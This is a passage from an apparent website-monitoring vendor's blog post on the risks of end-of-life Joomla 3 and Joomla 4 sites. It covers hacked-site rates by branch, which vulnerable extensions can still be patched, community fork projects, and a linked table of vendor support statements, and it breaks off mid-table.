&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Extension&lt;/th&gt;&lt;th&gt;Share of live Joomla 3 sites&lt;/th&gt;&lt;th&gt;Can a Joomla 3 site apply the 2026 fix?&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;YOOtheme Installer&lt;/td&gt;&lt;td&gt;4.5%&lt;/td&gt;&lt;td&gt;&lt;strong&gt;No.&lt;/strong&gt; YOOtheme Pro removed Joomla 3 &lt;em&gt;and&lt;/em&gt; Joomla 4 support in January 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Cache Cleaner&lt;/td&gt;&lt;td&gt;3.1%&lt;/td&gt;&lt;td&gt;&lt;strong&gt;No.&lt;/strong&gt; Regular Labs cut Joomla 3 across its whole range on 21 September 2023&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Regular Labs Manager&lt;/td&gt;&lt;td&gt;2.7%&lt;/td&gt;&lt;td&gt;&lt;strong&gt;No.&lt;/strong&gt; Same cut&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Advanced Modules&lt;/td&gt;&lt;td&gt;2.5%&lt;/td&gt;&lt;td&gt;&lt;strong&gt;No.&lt;/strong&gt; Same cut&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder&lt;/a&gt;&lt;/td&gt;&lt;td&gt;2.5%&lt;/td&gt;&lt;td&gt;&lt;strong&gt;No.&lt;/strong&gt; The 6.8.0 installer contains a version guard that blocks Joomla 3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;RSForm! Pro&lt;/td&gt;&lt;td&gt;2.5%&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Yes.&lt;/strong&gt; RSJoomla never dropped Joomla 3 and shipped J3 builds this month&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;JCE Editor&lt;/td&gt;&lt;td&gt;2.3%&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Yes.&lt;/strong&gt; Free patch backported to 2.7.x, 2.8.x and 2.9.x&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Sourcerer&lt;/td&gt;&lt;td&gt;1.9%&lt;/td&gt;&lt;td&gt;&lt;strong&gt;No.&lt;/strong&gt; Regular Labs, same cut&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Six of the eight cannot be fixed without rebuilding the site onto a supported Joomla. Three of those six are the same vendor, cut on the same day, and two of the CVEs sit in &lt;a href=&quot;https://mysites.guru/blog/regular-labs-joomla-extension-security-release/&quot;&gt;a shared library that every Regular Labs extension bundles&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;None of that is theoretical.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;4.90% of Joomla 3 sites are currently flagged as hacked, against 0.98% of Joomla 6 sites.&lt;/p&gt;&lt;div&gt;&lt;p&gt;Measured across every Joomla site we monitor. A Joomla 3 site is five times more likely to have been compromised, and Joomla 5 sits at 2.67%. The gradient runs exactly the way you would expect, and it runs across tens of thousands of sites rather than a handful of anecdotes.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And remember whose sites those are. That 4.90% is the &lt;a href=&quot;https://mysites.guru/tools/file-information/hacked-files/&quot;&gt;hacked rate&lt;/a&gt; among Joomla 3 sites that somebody is paying to have monitored.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;On the vendor side, it is getting worse rather than better.&lt;/p&gt;&lt;div&gt;&lt;p&gt;In July 2026 JoomShaper &lt;a href=&quot;https://mysites.guru/blog/joomshaper-drops-joomla-3-support/&quot;&gt;ended Joomla 3 support&lt;/a&gt; across SP Page Builder, Helix and its template range, with one line doing the damage: no security patches, regardless of severity. Six days later they &lt;a href=&quot;https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/&quot;&gt;shipped Joomla 3 patches anyway&lt;/a&gt;, and have since shipped &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;a third one&lt;/a&gt;. That reversal is good news and a warning at the same time. A vendor changing its mind twice in seven weeks is not a support policy you can plan a business around.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Joomla 4 is the part that should worry you&lt;/h2&gt;
&lt;p&gt;One number changed what this post was going to be, and I did not expect it.&lt;/p&gt;
&lt;p&gt;We ran the same vulnerable-extension analysis across every Joomla branch. Joomla 4, the version agencies migrated to specifically so that this would stop being a problem, is now &lt;strong&gt;the worst-maintained branch on our entire estate&lt;/strong&gt;.&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Branch&lt;/th&gt;&lt;th&gt;Hacked&lt;/th&gt;&lt;th&gt;Sites with a vulnerable extension&lt;/th&gt;&lt;th&gt;Average on an affected site&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Joomla 3&lt;/td&gt;&lt;td&gt;4.90%&lt;/td&gt;&lt;td&gt;22.3%&lt;/td&gt;&lt;td&gt;&lt;strong&gt;3.30&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 4&lt;/td&gt;&lt;td&gt;4.67%&lt;/td&gt;&lt;td&gt;&lt;strong&gt;50.6%&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;2.52&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 5&lt;/td&gt;&lt;td&gt;2.67%&lt;/td&gt;&lt;td&gt;26.6%&lt;/td&gt;&lt;td&gt;2.30&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 6&lt;/td&gt;&lt;td&gt;0.98%&lt;/td&gt;&lt;td&gt;16.2%&lt;/td&gt;&lt;td&gt;1.76&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Two different things are wrong, and they are wrong on different branches. Joomla 4 has the widest spread: half of those sites are running something with a known hole in it. Joomla 3 has the deepest infestation: when a Joomla 3 site is affected it is running 3.30 vulnerable extensions, not one.&lt;/p&gt;
&lt;p&gt;Every one of those rows is a managed site. Half of all Joomla 4 sites &lt;em&gt;that somebody is paying to look after&lt;/em&gt; are running at least one extension with a known, published vulnerability. That is more than double the Joomla 3 rate and more than three times the Joomla 6 rate. Joomla 4 has &lt;a href=&quot;https://mysites.guru/blog/manage-your-joomla-4-sites-with-mysites-guru/&quot;&gt;itself reached end of life&lt;/a&gt;, so these sites are in exactly the position their owners paid to escape, except this time they paid first. And it went out with far less noise than Joomla 3 did. Joomla 3 got its own farewell announcement, an eighteen-month paid support programme and a warning in the admin panel. Joomla 4’s last release was 4.4.14 on 30 September 2025, and the series left security support that October with no announcement of its own at all, just a subordinate clause in the post announcing Joomla 6.&lt;/p&gt;
&lt;p&gt;Joomla 4 did reach end of life on its own account, with bug-fix support ending in October 2024 and security support in October 2025, and you can read that anywhere. That is a statement about whether the core gets patches, which is a different question from the one I am asking.&lt;/p&gt;
&lt;p&gt;The point is the extension column. Whether or not the Joomla 4 core is supported has no bearing on whether somebody updated RSForm! on that site last month. No one is looking after those 50.6%, and they are also the sites that had the most money and effort spent on them in the last three years. Blaming the Joomla project for that would be convenient and wrong.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The finding that reframed this post&lt;/p&gt;&lt;div&gt;&lt;p&gt;Half of all Joomla 4 sites run at least one extension with a known vulnerability. That is 50.6%, against 22.3% on the Joomla 3 sites they migrated away from, and it is the widest spread of any branch we measure. The expensive migration did not fix it.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The agencies who did the hard thing, who got the budget approved, who spent the weekends rebuilding templates and replacing extensions that had no successor, are measurably in a worse state than the ones who did nothing.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;And Joomla 5 is next, sooner than you think.&lt;/p&gt;&lt;div&gt;&lt;p&gt;Joomla 5 leaves regular bugfix support on 13 October 2026, which is about six weeks from the day this was written. Security-only support runs to &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-end-of-support-dates/&quot;&gt;12 October 2027&lt;/a&gt;. If you are on Joomla 5 and reading this feeling comfortable, that is the same feeling the Joomla 4 shops had in 2024.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Migrating is still the only real answer, so read none of this as an argument against it. The argument is that migrating &lt;strong&gt;was never the thing that fixed it&lt;/strong&gt;, and treating it as the fix is what put those sites back in the hole. A Joomla 4 site can even be hurt by trying to do the right thing: an administrator chasing security patches on an end-of-life version can switch update channels and &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;get flung onto the next major release&lt;/a&gt;, breaking extensions and ending up worse off than before.&lt;/p&gt;
&lt;p&gt;The migration was a payment. The site is a running cost. When the payments stopped, the debt started accruing again the same week.&lt;/p&gt;
&lt;h2&gt;Joomla 3 is not actually that insecure&lt;/h2&gt;
&lt;p&gt;Having spent five hundred words telling you the sky is falling, let me argue the other side, because the honest version of this is more useful to you than the alarming one.&lt;/p&gt;
&lt;p&gt;Joomla 3 is a mature, well-tested codebase. It had eleven years and twelve point releases to have its corners knocked off, and it shows. Of the twelve core advisories Joomla published in 2026 whose affected range reaches back into 3.x, exactly &lt;strong&gt;one&lt;/strong&gt; is rated High by the Joomla project. The rest are Low or Moderate. That is not the profile of software falling apart.&lt;/p&gt;
&lt;p&gt;And look again at our own number the other way up. &lt;strong&gt;95.1% of the Joomla 3 sites we monitor are not flagged as hacked.&lt;/strong&gt; Joomla 5, fully supported and receiving every patch, sits at 2.67%. Joomla 3 is roughly twice as bad, not a hundred times.&lt;/p&gt;
&lt;p&gt;The core is also patchable, which people forget. The community backport closes &lt;a href=&quot;https://joomla3security.com/core-vulnerabilities/&quot;&gt;the published core holes&lt;/a&gt; without an eLTS licence, and it has been kept current: four more CVEs were added to it over summer 2026.&lt;/p&gt;
&lt;p&gt;What surprises people most is that plenty of extension vendors did back-patch Joomla 3 in 2026, in some cases for free and in some cases the same day they patched the modern branches. JCE shipped &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;a free patch reaching back to 2.7.x&lt;/a&gt;. iCagenda published a release literally titled “Security Release Joomla 3”. SEBLOD patched three branches on one day. J2Store, taken over in October 2024 by Olivier Buisard and Adam Melcher after its original team closed the project, patched eleven CVEs across two August advisories and shipped the Joomla 3 build the same day as the Joomla 4 and 5 ones both times. That one now has an expiry date: &lt;a href=&quot;https://mysites.guru/blog/j2store-3-end-of-life/&quot;&gt;the J2Store 3 branch stops on 19 October 2026&lt;/a&gt;. RSJoomla never dropped Joomla 3 at all and was shipping Joomla 3 builds this month.&lt;/p&gt;
&lt;p&gt;So a Joomla 3 site running a well-chosen stack, with the core backport applied and every vendor still shipping, can be well-patched today. I would not call it supported, and I would still move it. But it is not the burning building the first half of this post implies.&lt;/p&gt;
&lt;p&gt;That distinction is the whole argument in one turn.&lt;/p&gt;
&lt;p&gt;The risk was always the specific set of extensions on the specific site, and whether each of those vendors happened to keep going. “Joomla 3” was never the useful unit. That is not knowable from the version number, it is not knowable from a blog post, and it changes without anyone announcing it. Two Joomla 3 sites built the same year by the same agency can be in completely different states today, entirely because of which page builder each one happened to use.&lt;/p&gt;
&lt;p&gt;Which means the safe Joomla 3 sites and the dangerous ones are separated by whether anybody is looking, not by which version they run.&lt;/p&gt;
&lt;h2&gt;The well-meaning Joomla 3 rescue projects are not a plan, they are a liability themselves&lt;/h2&gt;
&lt;p&gt;Every time a platform goes end of life, a handful of projects appear promising to keep it alive. Joomla 3 has several, and they are not equal.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The 3rd party projects attempting to keep Joomla 3 alive:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;Joomla 3.10.999&lt;/a&gt;&lt;span&gt; our own backport of the core security patches.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Patches the core, and nothing else. We call it a holding position rather than a fix, which is the honest description of every project on this list.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/TLWebdesign/Joomla-3-EOL-Security-Fixes&quot;&gt;TLWebdesign&lt;/a&gt;&lt;span&gt; the same patches, packaged as an installable extension.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Tom van der Laan took our patches and made them installable. That packaging is useful and he was still pushing to the repository in July 2026. Joomla&apos;s own security team declines to endorse it, in as many words.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/joomlaworks/joomla-3.x&quot;&gt;joomlaworks/joomla-3.x&lt;/a&gt;&lt;span&gt; continued 3.x development for code security and modern PHP.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Real engineering, but it forks the core. Nothing in it touches the extensions that are actually getting these sites hacked.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/what-is-joomla-3x-utd/&quot;&gt;Joomla 3.x UTD&lt;/a&gt;&lt;span&gt; a fork that keeps the Joomla name and numbers its releases 3.11, 3.13, 3.15.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Those versions never existed. Joomla&apos;s updater, the vulnerability databases, hosting scanners and our own inventory cannot interpret them, so no one can tell you whether that site is patched or not.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;div&gt;&lt;p&gt;joomla-update.ch&lt;span&gt; a vibe-coded patcher.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;An AI-slop approach to somebody else&apos;s security. Generating patches for a codebase you have not read, for a CMS whose maintainers have stopped issuing fixes, then offering them to strangers to run on production sites, produces plausible-looking output and calls it a security process.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;div&gt;&lt;p&gt;The PHP 8 compatibility work&lt;span&gt; getting a Joomla 3 codebase to run on PHP 8.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;The most useful of the group and the most likely to be misread. It solves the hosting deadline in the next section. It does not make the site secure. Two different deadlines, arriving together.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Security patching is the one job where the code has to be right rather than convincing, and where the failure mode is silent. If you would not let an unreviewed model commit directly to a client&apos;s site, do not let one do it through a download page either.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;But be clear about what any of them can and cannot do for you, because three structural problems apply to all of them.&lt;/p&gt;
&lt;h3&gt;The core is not what is getting you hacked&lt;/h3&gt;
&lt;p&gt;Look back at that extension table. The three most-installed of those extensions are a template framework, a page builder and an editor, and no core fork touches any of them. This is the whole reason we treat our own patch tool as a holding position rather than a fix, and it is why a patched extension on an unpatched core, or a patched core under an abandoned template, is &lt;a href=&quot;https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/&quot;&gt;a safer position and not a supported one&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;The version numbers break every tool that could see the problem&lt;/h3&gt;
&lt;p&gt;Joomla 3 ended at 3.10.12. A fork that calls its releases 3.11, 3.13 or 3.15 is not following semantic versioning and, more practically, it is emitting a version string that nothing in the ecosystem can interpret. Joomla’s own updater cannot reason about it. Vulnerability databases key their affected-version ranges on real Joomla releases. WAF rules and hosting-side scanners do the same. So do we: we are an inventory tool, and a site reporting a version that never existed is a site we cannot honestly tell you is safe or unsafe. We have already seen exactly this failure with vendor patches, where JoomShaper reused the same version string across two different security releases and &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;no inventory tool could tell a patched site from an unpatched one&lt;/a&gt;. A fork that invents version numbers has the same problem permanently and by design.&lt;/p&gt;
&lt;h3&gt;Calling it Joomla is a problem for the reader, not just the lawyers&lt;/h3&gt;
&lt;p&gt;A fork that keeps the Joomla name and the Joomla branding while shipping code the Joomla project did not write and will not support leaves a client, a hosting provider and an incoming developer with no way to tell what they are actually running. Joomla is a registered trademark and the project has a policy about this, which is its business rather than mine. Mine is that “we are on Joomla 3.15” is a sentence that sounds reassuring and means nothing.&lt;/p&gt;
&lt;h3&gt;The PHP 8 work solves a different deadline&lt;/h3&gt;
&lt;p&gt;The PHP 8 compatibility work deserves a separate word, because it is the most useful of the lot and the most likely to be misread. Getting a Joomla 3 codebase running on PHP 8 solves a real and urgent problem, which is the next section. It does not make the site secure. Those are two different deadlines that happen to be arriving at the same time, and clearing the first one does nothing about the second.&lt;/p&gt;
&lt;h2&gt;No one knows when your extensions stop being supported, including the vendors&lt;/h2&gt;
&lt;p&gt;If you want one reason a Joomla 3 site cannot be managed by looking things up once and writing the answer down, this is it.&lt;/p&gt;
&lt;p&gt;I went through the dated announcements and changelogs of the vendors whose extensions actually appear on the sites we monitor. The pattern that emerged had nothing to do with who dropped Joomla 3. &lt;strong&gt;The vendors who made the most absolute statements were the ones who broke them.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Akeeba shipped a release in August 2023 whose notes were titled &lt;a href=&quot;https://www.akeeba.com/download/akeeba-backup/8-3-3.html&quot;&gt;“Final version for Joomla! 3”&lt;/a&gt;. It was followed by four more Joomla 3 releases, &lt;a href=&quot;https://www.akeeba.com/download/akeeba-backup/8-4-1-1.html&quot;&gt;the last in May 2025&lt;/a&gt;, three months after Joomla’s own paid support programme had closed. Along the way they published three different end dates, including &lt;a href=&quot;https://www.akeeba.com/news/1767&quot;&gt;one announced two days after the deadline it replaced&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;JoomShaper &lt;a href=&quot;https://www.joomshaper.com/blog/joomshaper-drops-joomla-3-support&quot;&gt;announced on 9 July 2026&lt;/a&gt; that Joomla 3 would get “no security patches, regardless of severity”, and then &lt;a href=&quot;https://www.joomshaper.com/blog/security-update-for-joomla-3-users&quot;&gt;shipped Joomla 3 security patches six days later&lt;/a&gt;, with two more following on 22 July and 27 August. That sentence is still on their site, uncorrected, while &lt;a href=&quot;https://github.com/JoomShaper/helix-ultimate/releases&quot;&gt;the third patch sits in their GitHub releases&lt;/a&gt;. We covered &lt;a href=&quot;https://mysites.guru/blog/joomshaper-drops-joomla-3-support/&quot;&gt;the announcement&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/&quot;&gt;the reversal&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-third-joomla-3-security-patch/&quot;&gt;the third patch&lt;/a&gt; as they happened. At the same time, SP Page Builder 6.8.0 added a version check to stop the installer running on Joomla 3 at all. Hard-blocked in the mainline, separately patched on the side.&lt;/p&gt;
&lt;p&gt;JCE &lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-released&quot;&gt;announced&lt;/a&gt; that version 3.0 would remove Joomla 3 support. Then they &lt;em&gt;lowered&lt;/em&gt; the Joomla 3 floor from 3.10 to 3.9, &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/security-patch&quot;&gt;backported a free security patch&lt;/a&gt; to branches that predate Joomla 4 entirely, and today &lt;a href=&quot;https://www.joomlacontenteditor.net/support/changelog/editor&quot;&gt;the Joomla 3 branch&lt;/a&gt; has a more recent release candidate than the 3.0 that was supposed to replace it. (Their June 2026 security post credits my own analysis for that one, which is the only reason I noticed how far the J3 branch had drifted from the announcement.)&lt;/p&gt;
&lt;p&gt;Joomlashack &lt;a href=&quot;https://www.joomlashack.com/blog/joomlashack/support-joomla-3/&quot;&gt;said in August 2023&lt;/a&gt; that they would reassess Joomla 3 support in August 2024. That sentence is still on &lt;a href=&quot;https://www.joomlashack.com/docs/general/joomla-3/&quot;&gt;their documentation page&lt;/a&gt; today, two years after the reassessment date, and the reassessment was never published.&lt;/p&gt;
&lt;p&gt;And the spread is enormous. &lt;a href=&quot;https://github.com/Kunena/Kunena-Forum/releases&quot;&gt;Kunena&lt;/a&gt; stopped supporting Joomla 3 in December 2022, eight months &lt;strong&gt;before&lt;/strong&gt; Joomla did. &lt;a href=&quot;https://www.joomlapolis.com/&quot;&gt;Community Builder&lt;/a&gt; stopped on 21 August 2026, three years and four days &lt;strong&gt;after&lt;/strong&gt;. Both are community projects of similar standing. &lt;a href=&quot;https://www.rsjoomla.com/&quot;&gt;RSJoomla&lt;/a&gt;, &lt;a href=&quot;https://www.hikashop.com/&quot;&gt;HikaShop&lt;/a&gt; and &lt;a href=&quot;https://virtuemart.net/&quot;&gt;VirtueMart&lt;/a&gt; have not stopped at all and were still shipping Joomla 3 builds this month.&lt;/p&gt;
&lt;p&gt;So when somebody asks whether the extensions on a Joomla 3 site are still supported, there is no date you can look up. The answer is different for every extension, it moves, and the vendors themselves keep changing it. The only way to know what a site is actually running, and whether a fix exists for it, is to &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;check the sites continuously&lt;/a&gt;. That is not a pitch for our product, it is the reason a product like ours exists at all, and it is the clearest possible argument that this is a service rather than a task.&lt;/p&gt;
&lt;h2&gt;Every Joomla 3 policy statement we could find, with its link&lt;/h2&gt;
&lt;p&gt;The section above is the argument. This is the evidence, so you can check it rather than take my word for it.&lt;/p&gt;
&lt;p&gt;We went looking for &lt;a href=&quot;https://joomla3security.com/vendors/&quot;&gt;a public, dated, quotable statement from every vendor&lt;/a&gt; whose extensions actually appear on the sites we monitor. Every URL below was fetched and the sentence read in context, and a vendor only appears here if there is a real statement to quote. Where a page shows no date, the table says undated rather than guessing one.&lt;/p&gt;





































































































































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Vendor&lt;/th&gt;&lt;th&gt;Extensions&lt;/th&gt;&lt;th&gt;What they said&lt;/th&gt;&lt;th&gt;When&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Akeeba&lt;/td&gt;&lt;td&gt;Backup, Admin Tools, Ticket System&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.akeeba.com/news/1767&quot;&gt;“Limited support” from February 2025, free versions “not supported at all”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;19 Aug 2024&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Akeeba&lt;/td&gt;&lt;td&gt;Akeeba Backup 8.3.3&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.akeeba.com/download/akeeba-backup/8-3-3.html&quot;&gt;Final Joomla 3 version, security updates only to 17 August 2024&lt;/a&gt;&lt;/td&gt;&lt;td&gt;6 Aug 2023&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;JoomShaper&lt;/td&gt;&lt;td&gt;Helix Ultimate, Helix3, SP Page Builder&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.joomshaper.com/blog/joomshaper-drops-joomla-3-support&quot;&gt;“No security patches, regardless of severity”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;9 Jul 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;JCE&lt;/td&gt;&lt;td&gt;JCE Pro and Core&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-released&quot;&gt;“Remove official support for Joomla 3” at 3.0&lt;/a&gt;&lt;/td&gt;&lt;td&gt;11 Feb 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomlashack&lt;/td&gt;&lt;td&gt;25 extensions, OSMap&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.joomlashack.com/blog/joomlashack/support-joomla-3/&quot;&gt;“Support Joomla 3 extensions until at least August 2024”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;29 Aug 2023&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomlashack&lt;/td&gt;&lt;td&gt;Documentation restatement&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.joomlashack.com/docs/general/joomla-3/&quot;&gt;Same pledge, Pro members only, no bug fixes for Joomla 3 only products&lt;/a&gt;&lt;/td&gt;&lt;td&gt;undated&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Regular Labs&lt;/td&gt;&lt;td&gt;Sourcerer and eight more, same day&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://regularlabs.com/sourcerer/download&quot;&gt;“Removes Joomla 3 support”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;21 Sep 2023&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;YOOtheme&lt;/td&gt;&lt;td&gt;YOOtheme Pro 5.0&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://yootheme.com/blog/2026/01/13/yootheme-pro-5.0-cookie-consent-manager-date-filter-and-on-click-loading-videos&quot;&gt;“Support for Joomla 3 and 4 has been removed”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;13 Jan 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Gantry&lt;/td&gt;&lt;td&gt;Gantry 5.5.20&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://gantry.org/blog/upcoming-release-gantry-5-5-20-launching-july-23&quot;&gt;“Dropped Joomla 3.x support”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;17 Jul 2025&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;RocketTheme&lt;/td&gt;&lt;td&gt;The whole company&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://rockettheme.com/&quot;&gt;“The RocketTheme mission officially concluded”&lt;/a&gt;, club and downloads closed&lt;/td&gt;&lt;td&gt;states 30 Jun 2025&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Kunena&lt;/td&gt;&lt;td&gt;Kunena Forum&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.kunena.org/blog/252-kunena-5-2-14-security-release&quot;&gt;“The final release of Kunena 5.2.14 … for Joomla 3.10”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;14 Dec 2022&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomlapolis&lt;/td&gt;&lt;td&gt;Community Builder&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.joomlapolis.com/blog/kyle/19106-joomla-3-x-and-4-x-compatibility&quot;&gt;“Joomla 3.x support has come to an end”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;21 Aug 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;J2Commerce&lt;/td&gt;&lt;td&gt;J2Store, J2Commerce&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.j2commerce.com/blog/j2store-3-reaches-end-of-life-on-october-19-2026&quot;&gt;“J2Store 3 end of life”&lt;/a&gt; on 19 Oct 2026, “no further releases of any kind”&lt;/td&gt;&lt;td&gt;3 Sep 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Weeblr&lt;/td&gt;&lt;td&gt;sh404SEF&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://weeblr.com/blog/price-changes-and-sh404sef-discontinued-soon&quot;&gt;“No further development … dedicated to Joomla 3 support”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;24 Jul 2023&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;JoomlaWorks&lt;/td&gt;&lt;td&gt;K2, Simple Image Gallery, AllVideos&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.joomlaworks.net/blog/item/314-k2-will-not-be-made-available-for-joomla-4-5-change-of-course&quot;&gt;“We don’t plan on giving up on K2 (or Joomla 3)”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;30 May 2024&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;JoomlaWorks&lt;/td&gt;&lt;td&gt;Their own Joomla 3.x UTD fork&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.joomlaworks.net/blog/item/316-joomla-3-x-development-continued-to-ensure-code-security-support-modern-php-versions&quot;&gt;Maintained “to ensure code security and support modern PHP”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;22 Apr 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomlatools&lt;/td&gt;&lt;td&gt;DOCman 6&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.joomlatools.com/blog/extensions/joomla-6-is-ready-so-are-we&quot;&gt;“Still running Joomla 3 … upgrade safely when you’re ready”&lt;/a&gt;&lt;/td&gt;&lt;td&gt;14 Oct 